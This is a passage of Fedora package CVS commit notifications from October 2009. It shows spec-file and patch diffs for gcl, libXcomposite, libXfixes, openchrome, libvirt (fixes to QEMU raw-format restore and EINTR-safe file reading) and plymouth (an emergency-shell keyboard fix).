 sed -i -e 's/fomit-frame-pointer/fno-strict-aliasing/' -e 's/-O3/-O2/g' configure
@@ -350,6 +364,14 @@ fi
 
 
 %changelog
+* Tue Oct 13 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.3.20090701cvs
+- Update SELinux files to give compiled maxima files the right context
+- Update to 20090701 CVS snapshot, fixes bz 511483
+- Break fix for <asm/signal.h> out into a separate patch and do it right
+- Add -plt patch to fix reading of PLT info
+- Add -ellipsis patch to eliminate nondeterministic behavior
+- Minor spec file cleanups
+
 * Mon Apr 27 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.3.20090303cvs
 - Update to 20090303 CVS snapshot
 - Drop upstreamed BFD patch


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-11/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	27 Apr 2009 16:17:13 -0000	1.6
+++ sources	13 Oct 2009 15:37:48 -0000	1.7
@@ -1,2 +1,2 @@
-ead10281e7dff246c686c410b29caad6  gcl-2.6.8.tar.bz2
+cface6e39a4a4dcc5d59103f2b75c42a  gcl-2.6.8.tar.bz2
 70b0cf146c7b0dc0f598b98cc7320116  gcl-2.6.8-info.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 15:41:32 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:41:32 +0000 (UTC)
Subject: rpms/libXcomposite/devel libXcomposite.spec,1.30,1.31
Message-ID: <20091013154132.BD95911C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXcomposite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6921

Modified Files:
	libXcomposite.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.4.1-1
- libXcomposite 0.4.1



Index: libXcomposite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXcomposite/devel/libXcomposite.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- libXcomposite.spec	13 Oct 2009 15:35:10 -0000	1.30
+++ libXcomposite.spec	13 Oct 2009 15:41:32 -0000	1.31
@@ -10,7 +10,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
 BuildRequires: pkgconfig(compositeproto) >= 0.4
-BuildRequires: pkgconfig(xfixes)
+BuildRequires: pkgconfig(xfixes) pkgconfig(xext)
 
 %description
 X Composite Extension library



From ajax at fedoraproject.org  Tue Oct 13 15:42:24 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:42:24 +0000 (UTC)
Subject: rpms/libXcomposite/devel libXcomposite.spec,1.31,1.32
Message-ID: <20091013154224.C4E0511C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXcomposite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7166

Modified Files:
	libXcomposite.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.4.1-2
- build fix



Index: libXcomposite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXcomposite/devel/libXcomposite.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- libXcomposite.spec	13 Oct 2009 15:41:32 -0000	1.31
+++ libXcomposite.spec	13 Oct 2009 15:42:24 -0000	1.32
@@ -1,7 +1,7 @@
 Summary: X Composite Extension library
 Name: libXcomposite
 Version: 0.4.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/X?omposite*.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.4.1-2
+- build fix
+
 * Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.4.1-1
 - libXcomposite 0.4.1
 



From markmc at fedoraproject.org  Tue Oct 13 15:43:47 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue, 13 Oct 2009 15:43:47 +0000 (UTC)
Subject: rpms/libvirt/devel libvirt-fix-qemu-restore-from-raw1.patch, NONE, 
	1.1 libvirt-fix-qemu-restore-from-raw2.patch, NONE,
	1.1 libvirt.spec, 1.190,
	1.191 libvirt-fix-qemu-restore-from-raw.patch, 1.1, NONE
Message-ID: <20091013154347.4450611C00E8@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7578

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-fix-qemu-restore-from-raw1.patch 
	libvirt-fix-qemu-restore-from-raw2.patch 
Removed Files:
	libvirt-fix-qemu-restore-from-raw.patch 
Log Message:
Add the second patch for #523158

libvirt-fix-qemu-restore-from-raw1.patch:
 qemu_driver.c |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

--- NEW FILE libvirt-fix-qemu-restore-from-raw1.patch ---
>From 0b846a30468a6b4586407f020ccde7bb51afaf98 Mon Sep 17 00:00:00 2001
From: Daniel P. Berrange <berrange at redhat.com>
Date: Mon, 12 Oct 2009 20:03:50 +0100
Subject: [PATCH] Fix QEMU restore from file in raw format

The logic for running the decompression programs was broken in
commit f238709304f9f6c57204cdd943e542cbae38fa5f, so that for
non-raw formats the decompression program was never run, and
for raw formats, it tried to exec an argv[] with initial NULL
in the program name.

* src/qemu/qemu_driver.c: Fix logic in runing decompression program

(cherry picked from commit 74b379cbd5ba9f472a3a2d5710e497966b1a3a37)

Fedora-patch: libvirt-fix-qemu-restore-from-raw1.patch
---
 src/qemu_driver.c |    3 +--
 1 files changed, 1 insertions(+), 2 deletions(-)

diff --git a/src/qemu_driver.c b/src/qemu_driver.c
index 550a59c..0ce403c 100644
--- a/src/qemu_driver.c
+++ b/src/qemu_driver.c
@@ -4541,9 +4541,8 @@ static int qemudDomainRestore(virConnectPtr conn,
             goto cleanup;
         }
 
-        if (header.compressed != QEMUD_SAVE_FORMAT_RAW)
+        if (header.compressed != QEMUD_SAVE_FORMAT_RAW) {
             intermediate_argv[0] = prog;
-        else {
             intermediatefd = fd;
             fd = -1;
             if (virExec(conn, intermediate_argv, NULL, NULL,
-- 
1.6.2.5


libvirt-fix-qemu-restore-from-raw2.patch:
 util.c |   46 ++++++++++++----------------------------------
 1 file changed, 12 insertions(+), 34 deletions(-)

--- NEW FILE libvirt-fix-qemu-restore-from-raw2.patch ---
>From 57d7cc602d14c6b50e2826e427a5de124e479f95 Mon Sep 17 00:00:00 2001
From: Daniel P. Berrange <berrange at redhat.com>
Date: Mon, 12 Oct 2009 20:32:33 +0100
Subject: [PATCH] Fix virFileReadLimFD/virFileReadAll to handle EINTR

The fread_file_lim() function uses fread() but never handles
EINTR results, causing unexpected failures when reading QEMU
help arg info. It was unneccessarily using FILE * instead
of plain UNIX file handles, which prevented use of saferead()

* src/util/util.c: Switch fread_file_lim over to use saferead
  instead of fread, remove FILE * use, and rename

(cherry picked from commit 11a36d956cb8a5e439e535bff3e0cfce50a64bca)

Fedora-patch: libvirt-fix-qemu-restore-from-raw2.patch
---
 src/util.c |   45 ++++++++++++---------------------------------
 1 files changed, 12 insertions(+), 33 deletions(-)

diff --git a/src/util.c b/src/util.c
index 1878e33..7bc3a66 100644
--- a/src/util.c
+++ b/src/util.c
@@ -887,7 +887,7 @@ virExec(virConnectPtr conn,
    number of bytes.  If the length of the input is <= max_len, and
    upon error while reading that data, it works just like fread_file.  */
 static char *
-fread_file_lim (FILE *stream, size_t max_len, size_t *length)
+saferead_lim (int fd, size_t max_len, size_t *length)
 {
     char *buf = NULL;
     size_t alloc = 0;
@@ -895,8 +895,8 @@ fread_file_lim (FILE *stream, size_t max_len, size_t *length)
     int save_errno;
 
     for (;;) {
-        size_t count;
-        size_t requested;
+        int count;
+        int requested;
 
         if (size + BUFSIZ + 1 > alloc) {
             alloc += alloc / 2;
@@ -912,12 +912,12 @@ fread_file_lim (FILE *stream, size_t max_len, size_t *length)
         /* Ensure that (size + requested <= max_len); */
         requested = MIN (size < max_len ? max_len - size : 0,
                          alloc - size - 1);
-        count = fread (buf + size, 1, requested, stream);
+        count = saferead (fd, buf + size, requested);
         size += count;
 
         if (count != requested || requested == 0) {
             save_errno = errno;
-            if (ferror (stream))
+            if (count < 0)
                 break;
             buf[size] = '\0';
             *length = size;
@@ -930,12 +930,12 @@ fread_file_lim (FILE *stream, size_t max_len, size_t *length)
     return NULL;
 }
 
-/* A wrapper around fread_file_lim that maps a failure due to
+/* A wrapper around saferead_lim that maps a failure due to
    exceeding the maximum size limitation to EOVERFLOW.  */
-static int virFileReadLimFP(FILE *fp, int maxlen, char **buf)
+int virFileReadLimFD(int fd, int maxlen, char **buf)
 {
     size_t len;
-    char *s = fread_file_lim (fp, maxlen+1, &len);
+    char *s = saferead_lim (fd, maxlen+1, &len);
     if (s == NULL)
         return -1;
     if (len > maxlen || (int)len != len) {
@@ -949,37 +949,16 @@ static int virFileReadLimFP(FILE *fp, int maxlen, char **buf)
     return len;
 }
 
-/* Like virFileReadLimFP, but use a file descriptor rather than a FILE*.  */
-int virFileReadLimFD(int fd_arg, int maxlen, char **buf)
-{
-    int fd = dup (fd_arg);
-    if (fd >= 0) {
-        FILE *fp = fdopen (fd, "r");
-        if (fp) {
-            int len = virFileReadLimFP (fp, maxlen, buf);
-            int saved_errno = errno;
-            fclose (fp);
-            errno = saved_errno;
-            return len;
-        } else {
-            int saved_errno = errno;
-            close (fd);
-            errno = saved_errno;
-        }
-    }
-    return -1;
-}
-
 int virFileReadAll(const char *path, int maxlen, char **buf)
 {
-    FILE *fh = fopen(path, "r");
-    if (fh == NULL) {
+    int fd = open(path, O_RDONLY);
+    if (fd < 0) {
         virReportSystemError(NULL, errno, _("Failed to open file '%s'"), path);
         return -1;
     }
 
-    int len = virFileReadLimFP (fh, maxlen, buf);
-    fclose(fh);
+    int len = virFileReadLimFD(fd, maxlen, buf);
+    close(fd);
     if (len < 0) {
         virReportSystemError(NULL, errno, _("Failed to read file '%s'"), path);
         return -1;
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt.spec,v
retrieving revision 1.190
retrieving revision 1.191
diff -u -p -r1.190 -r1.191
--- libvirt.spec	13 Oct 2009 15:34:15 -0000	1.190
+++ libvirt.spec	13 Oct 2009 15:43:47 -0000	1.191
@@ -188,7 +188,8 @@ Patch12: libvirt-fix-device-detach-typo3
 Patch13: libvirt-fix-libvirtd-leak-in-error-reply.patch
 
 # Fix restore of qemu guest using raw save format (#523158)
-Patch14: libvirt-fix-qemu-restore-from-raw.patch
+Patch14: libvirt-fix-qemu-restore-from-raw1.patch
+Patch15: libvirt-fix-qemu-restore-from-raw2.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
@@ -419,6 +420,7 @@ of recent versions of Linux (and other O
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
 
 %build
 # Needed for libvirt-logrotate-create-lxc-uml-dirs.patch


--- libvirt-fix-qemu-restore-from-raw.patch DELETED ---



From markmc at fedoraproject.org  Tue Oct 13 15:43:51 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue, 13 Oct 2009 15:43:51 +0000 (UTC)
Subject: rpms/libvirt/F-12 libvirt-fix-qemu-restore-from-raw1.patch, NONE,
	1.1 libvirt-fix-qemu-restore-from-raw2.patch, NONE,
	1.1 libvirt.spec, 1.190,
	1.191 libvirt-fix-qemu-restore-from-raw.patch, 1.1, NONE
Message-ID: <20091013154351.96F4611C00E8@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7604

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-fix-qemu-restore-from-raw1.patch 
	libvirt-fix-qemu-restore-from-raw2.patch 
Removed Files:
	libvirt-fix-qemu-restore-from-raw.patch 
Log Message:
Add the second patch for #523158

libvirt-fix-qemu-restore-from-raw1.patch:
 qemu_driver.c |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

--- NEW FILE libvirt-fix-qemu-restore-from-raw1.patch ---
>From 0b846a30468a6b4586407f020ccde7bb51afaf98 Mon Sep 17 00:00:00 2001
From: Daniel P. Berrange <berrange at redhat.com>
Date: Mon, 12 Oct 2009 20:03:50 +0100
Subject: [PATCH] Fix QEMU restore from file in raw format

The logic for running the decompression programs was broken in
commit f238709304f9f6c57204cdd943e542cbae38fa5f, so that for
non-raw formats the decompression program was never run, and
for raw formats, it tried to exec an argv[] with initial NULL
in the program name.

* src/qemu/qemu_driver.c: Fix logic in runing decompression program

(cherry picked from commit 74b379cbd5ba9f472a3a2d5710e497966b1a3a37)

Fedora-patch: libvirt-fix-qemu-restore-from-raw1.patch
---
 src/qemu_driver.c |    3 +--
 1 files changed, 1 insertions(+), 2 deletions(-)

diff --git a/src/qemu_driver.c b/src/qemu_driver.c
index 550a59c..0ce403c 100644
--- a/src/qemu_driver.c
+++ b/src/qemu_driver.c
@@ -4541,9 +4541,8 @@ static int qemudDomainRestore(virConnectPtr conn,
             goto cleanup;
         }
 
-        if (header.compressed != QEMUD_SAVE_FORMAT_RAW)
+        if (header.compressed != QEMUD_SAVE_FORMAT_RAW) {
             intermediate_argv[0] = prog;
-        else {
             intermediatefd = fd;
             fd = -1;
             if (virExec(conn, intermediate_argv, NULL, NULL,
-- 
1.6.2.5


libvirt-fix-qemu-restore-from-raw2.patch:
 util.c |   46 ++++++++++++----------------------------------
 1 file changed, 12 insertions(+), 34 deletions(-)

--- NEW FILE libvirt-fix-qemu-restore-from-raw2.patch ---
>From 57d7cc602d14c6b50e2826e427a5de124e479f95 Mon Sep 17 00:00:00 2001
From: Daniel P. Berrange <berrange at redhat.com>
Date: Mon, 12 Oct 2009 20:32:33 +0100
Subject: [PATCH] Fix virFileReadLimFD/virFileReadAll to handle EINTR

The fread_file_lim() function uses fread() but never handles
EINTR results, causing unexpected failures when reading QEMU
help arg info. It was unneccessarily using FILE * instead
of plain UNIX file handles, which prevented use of saferead()

* src/util/util.c: Switch fread_file_lim over to use saferead
  instead of fread, remove FILE * use, and rename

(cherry picked from commit 11a36d956cb8a5e439e535bff3e0cfce50a64bca)

Fedora-patch: libvirt-fix-qemu-restore-from-raw2.patch
---
 src/util.c |   45 ++++++++++++---------------------------------
 1 files changed, 12 insertions(+), 33 deletions(-)

diff --git a/src/util.c b/src/util.c
index 1878e33..7bc3a66 100644
--- a/src/util.c
+++ b/src/util.c
@@ -887,7 +887,7 @@ virExec(virConnectPtr conn,
    number of bytes.  If the length of the input is <= max_len, and
    upon error while reading that data, it works just like fread_file.  */
 static char *
-fread_file_lim (FILE *stream, size_t max_len, size_t *length)
+saferead_lim (int fd, size_t max_len, size_t *length)
 {
     char *buf = NULL;
     size_t alloc = 0;
@@ -895,8 +895,8 @@ fread_file_lim (FILE *stream, size_t max_len, size_t *length)
     int save_errno;
 
     for (;;) {
-        size_t count;
-        size_t requested;
+        int count;
+        int requested;
 
         if (size + BUFSIZ + 1 > alloc) {
             alloc += alloc / 2;
@@ -912,12 +912,12 @@ fread_file_lim (FILE *stream, size_t max_len, size_t *length)
         /* Ensure that (size + requested <= max_len); */
         requested = MIN (size < max_len ? max_len - size : 0,
                          alloc - size - 1);
-        count = fread (buf + size, 1, requested, stream);
+        count = saferead (fd, buf + size, requested);
         size += count;
 
         if (count != requested || requested == 0) {
             save_errno = errno;
-            if (ferror (stream))
+            if (count < 0)
                 break;
             buf[size] = '\0';
             *length = size;
@@ -930,12 +930,12 @@ fread_file_lim (FILE *stream, size_t max_len, size_t *length)
     return NULL;
 }
 
-/* A wrapper around fread_file_lim that maps a failure due to
+/* A wrapper around saferead_lim that maps a failure due to
    exceeding the maximum size limitation to EOVERFLOW.  */
-static int virFileReadLimFP(FILE *fp, int maxlen, char **buf)
+int virFileReadLimFD(int fd, int maxlen, char **buf)
 {
     size_t len;
-    char *s = fread_file_lim (fp, maxlen+1, &len);
+    char *s = saferead_lim (fd, maxlen+1, &len);
     if (s == NULL)
         return -1;
     if (len > maxlen || (int)len != len) {
@@ -949,37 +949,16 @@ static int virFileReadLimFP(FILE *fp, int maxlen, char **buf)
     return len;
 }
 
-/* Like virFileReadLimFP, but use a file descriptor rather than a FILE*.  */
-int virFileReadLimFD(int fd_arg, int maxlen, char **buf)
-{
-    int fd = dup (fd_arg);
-    if (fd >= 0) {
-        FILE *fp = fdopen (fd, "r");
-        if (fp) {
-            int len = virFileReadLimFP (fp, maxlen, buf);
-            int saved_errno = errno;
-            fclose (fp);
-            errno = saved_errno;
-            return len;
-        } else {
-            int saved_errno = errno;
-            close (fd);
-            errno = saved_errno;
-        }
-    }
-    return -1;
-}
-
 int virFileReadAll(const char *path, int maxlen, char **buf)
 {
-    FILE *fh = fopen(path, "r");
-    if (fh == NULL) {
+    int fd = open(path, O_RDONLY);
+    if (fd < 0) {
         virReportSystemError(NULL, errno, _("Failed to open file '%s'"), path);
         return -1;
     }
 
-    int len = virFileReadLimFP (fh, maxlen, buf);
-    fclose(fh);
+    int len = virFileReadLimFD(fd, maxlen, buf);
+    close(fd);
     if (len < 0) {
         virReportSystemError(NULL, errno, _("Failed to read file '%s'"), path);
         return -1;
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt.spec,v
retrieving revision 1.190
retrieving revision 1.191
diff -u -p -r1.190 -r1.191
--- libvirt.spec	13 Oct 2009 15:34:19 -0000	1.190
+++ libvirt.spec	13 Oct 2009 15:43:51 -0000	1.191
@@ -188,7 +188,8 @@ Patch12: libvirt-fix-device-detach-typo3
 Patch13: libvirt-fix-libvirtd-leak-in-error-reply.patch
 
 # Fix restore of qemu guest using raw save format (#523158)
-Patch14: libvirt-fix-qemu-restore-from-raw.patch
+Patch14: libvirt-fix-qemu-restore-from-raw1.patch
+Patch15: libvirt-fix-qemu-restore-from-raw2.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
@@ -419,6 +420,7 @@ of recent versions of Linux (and other O
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
 
 %build
 # Needed for libvirt-logrotate-create-lxc-uml-dirs.patch


--- libvirt-fix-qemu-restore-from-raw.patch DELETED ---



From rstrode at fedoraproject.org  Tue Oct 13 15:44:10 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Tue, 13 Oct 2009 15:44:10 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-emergency-shell.patch, 1.1, 1.2 plymouth.spec,
	1.157, 1.158
Message-ID: <20091013154410.71A4611C00E8@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7669

Modified Files:
	fix-emergency-shell.patch plymouth.spec 
Log Message:
- Fix more emergency shell horkage (for users without modesetting)
  (bug 528683)


fix-emergency-shell.patch:
 b/src/libplybootsplash/ply-keyboard.c |    4 +++-
 b/src/libplybootsplash/ply-renderer.c |   13 ++++++++++---
 b/src/libplybootsplash/ply-terminal.c |    4 ++--
 b/src/main.c                          |    3 ++-
 src/main.c                            |    7 +++----
 5 files changed, 20 insertions(+), 11 deletions(-)

Index: fix-emergency-shell.patch
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/fix-emergency-shell.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- fix-emergency-shell.patch	8 Oct 2009 21:50:00 -0000	1.1
+++ fix-emergency-shell.patch	13 Oct 2009 15:44:10 -0000	1.2
@@ -144,3 +144,29 @@ index f7f3c90..0966418 100644
 -- 
 1.6.5.rc2
 
+From 30fa8e2d48ab6ea8909a997aa983c475753059b2 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Thu, 8 Oct 2009 15:42:27 -0400
+Subject: [PATCH] [keyboard] make stop_watching_for_terminal_input idempotent
+
+---
+ src/libplybootsplash/ply-keyboard.c |    3 +++
+ 1 files changed, 3 insertions(+), 0 deletions(-)
+
+diff --git a/src/libplybootsplash/ply-keyboard.c b/src/libplybootsplash/ply-keyboard.c
+index 375ddd5..ab72823 100644
+--- a/src/libplybootsplash/ply-keyboard.c
++++ b/src/libplybootsplash/ply-keyboard.c
+@@ -357,6 +357,9 @@ ply_keyboard_watch_for_terminal_input (ply_keyboard_t *keyboard)
+ static void
+ ply_keyboard_stop_watching_for_terminal_input (ply_keyboard_t *keyboard)
+ {
++  if (keyboard->provider.if_terminal->input_watch == NULL)
++    return;
++
+   ply_event_loop_stop_watching_fd (keyboard->loop,
+                                    keyboard->provider.if_terminal->input_watch);
+   keyboard->provider.if_terminal->input_watch = NULL;
+-- 
+1.6.5.rc2
+


Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.157
retrieving revision 1.158
diff -u -p -r1.157 -r1.158
--- plymouth.spec	9 Oct 2009 21:41:46 -0000	1.157
+++ plymouth.spec	13 Oct 2009 15:44:10 -0000	1.158
@@ -6,7 +6,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.9%{?dist}
+Release: 0.2009.29.09.10%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -470,6 +470,10 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Tue Oct 13 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.10
+- Fix more emergency shell horkage (for users without modesetting)
+  (bug 528683)
+
 * Fri Oct 09 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.9
 - Fix frame-buffer fallback plugin
   (broken by details fix in 0.8.0-0.2009.29.09.7)



From ajax at fedoraproject.org  Tue Oct 13 15:45:12 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:45:12 +0000 (UTC)
Subject: rpms/libXcomposite/F-12 libXcomposite.spec,1.30,1.31
Message-ID: <20091013154512.1AB4011C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXcomposite/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8326

Modified Files:
	libXcomposite.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.4.1-2
- build fix



Index: libXcomposite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXcomposite/F-12/libXcomposite.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- libXcomposite.spec	13 Oct 2009 15:35:56 -0000	1.30
+++ libXcomposite.spec	13 Oct 2009 15:45:11 -0000	1.31
@@ -1,7 +1,7 @@
 Summary: X Composite Extension library
 Name: libXcomposite
 Version: 0.4.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -10,7 +10,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
 BuildRequires: pkgconfig(compositeproto) >= 0.4
-BuildRequires: pkgconfig(xfixes)
+BuildRequires: pkgconfig(xfixes) pkgconfig(xext)
 
 %description
 X Composite Extension library
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/X?omposite*.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.4.1-2
+- build fix
+
 * Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.4.1-1
 - libXcomposite 0.4.1
 



From ajax at fedoraproject.org  Tue Oct 13 15:45:45 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:45:45 +0000 (UTC)
Subject: rpms/libXfixes/F-12 libXfixes.spec,1.23,1.24 sources,1.9,1.10
Message-ID: <20091013154545.81C5C11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXfixes/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8661

Modified Files:
	libXfixes.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 4.0.4-1
- libXfixes 4.0.4



Index: libXfixes.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXfixes/F-12/libXfixes.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- libXfixes.spec	25 Jul 2009 05:12:09 -0000	1.23
+++ libXfixes.spec	13 Oct 2009 15:45:45 -0000	1.24
@@ -1,7 +1,7 @@
-Summary: X.Org X11 libXfixes runtime library
+Summary: X Fixes library
 Name: libXfixes
-Version: 4.0.3
-Release: 8%{?dist}
+Version: 4.0.4
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,40 +9,26 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: libX11-devel
-BuildRequires: xorg-x11-proto-devel >= 7.0-7
-
-Obsoletes: XFree86-libs, xorg-x11-libs
+BuildRequires: pkgconfig(fixesproto) pkgconfig(xext)
 
 %description
-X.Org X11 libXfixes runtime library
+X Fixes library.
 
 %package devel
-Summary: X.Org X11 libXfixes development package
+Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-
-# xfixes.pc Requires: xproto fixesproto >= 4.0
-Requires: xorg-x11-proto-devel >= 7.0-7
-
-Obsoletes: XFree86-devel, xorg-x11-devel
+Requires: pkgconfig
 
 %description devel
-X.Org X11 libXfixes development package
+libXfixes development package
 
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
-make
+%configure --disable-static
+make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -67,14 +53,20 @@ rm -rf $RPM_BUILD_ROOT
 %files devel
 %defattr(-,root,root,-)
 %{_includedir}/X11/extensions/Xfixes.h
-%if %{with_static}
-%{_libdir}/libXfixes.a
-%endif
 %{_libdir}/libXfixes.so
 %{_libdir}/pkgconfig/xfixes.pc
 %{_mandir}/man3/Xfixes.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 4.0.4-1
+- libXfixes 4.0.4
+
+* Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 4.0.3-9
+- Merge-Review #226071
+- Removed XFree86-libs, xorg-x11-libs, XFree86-devel, xorg-x11-devel as Obsoletes
+- Removed BR:pkgconfig
+- spec cleanups
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.0.3-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXfixes/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	20 Nov 2006 16:42:18 -0000	1.9
+++ sources	13 Oct 2009 15:45:45 -0000	1.10
@@ -1 +1 @@
-1990d19725a3c7f32290037f02d3737f  libXfixes-4.0.3.tar.bz2
+7f2c40852eb337b237ad944ca5c30d49  libXfixes-4.0.4.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 15:46:30 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:46:30 +0000 (UTC)
Subject: rpms/xorg-x11-drv-openchrome/devel .cvsignore, 1.4, 1.5 sources, 1.5,
	1.6 xorg-x11-drv-openchrome.spec, 1.50, 1.51
Message-ID: <20091013154630.9B4F811C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-drv-openchrome/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9162

Modified Files:
	.cvsignore sources xorg-x11-drv-openchrome.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.2.904-1
- openchrome 0.2.904



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-openchrome/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	28 Aug 2008 20:01:41 -0000	1.4
+++ .cvsignore	13 Oct 2009 15:46:30 -0000	1.5
@@ -1 +1 @@
-xf86-video-openchrome-0.2.903.tar.bz2
+xf86-video-openchrome-0.2.904.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-openchrome/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	28 Aug 2008 20:01:43 -0000	1.5
+++ sources	13 Oct 2009 15:46:30 -0000	1.6
@@ -1 +1 @@
-c0820787e89958c9114d359b6a3cd464  xf86-video-openchrome-0.2.903.tar.bz2
+f2481d98ef54febf5bffbb88a2a2426d  xf86-video-openchrome-0.2.904.tar.bz2


Index: xorg-x11-drv-openchrome.spec
===================================================================
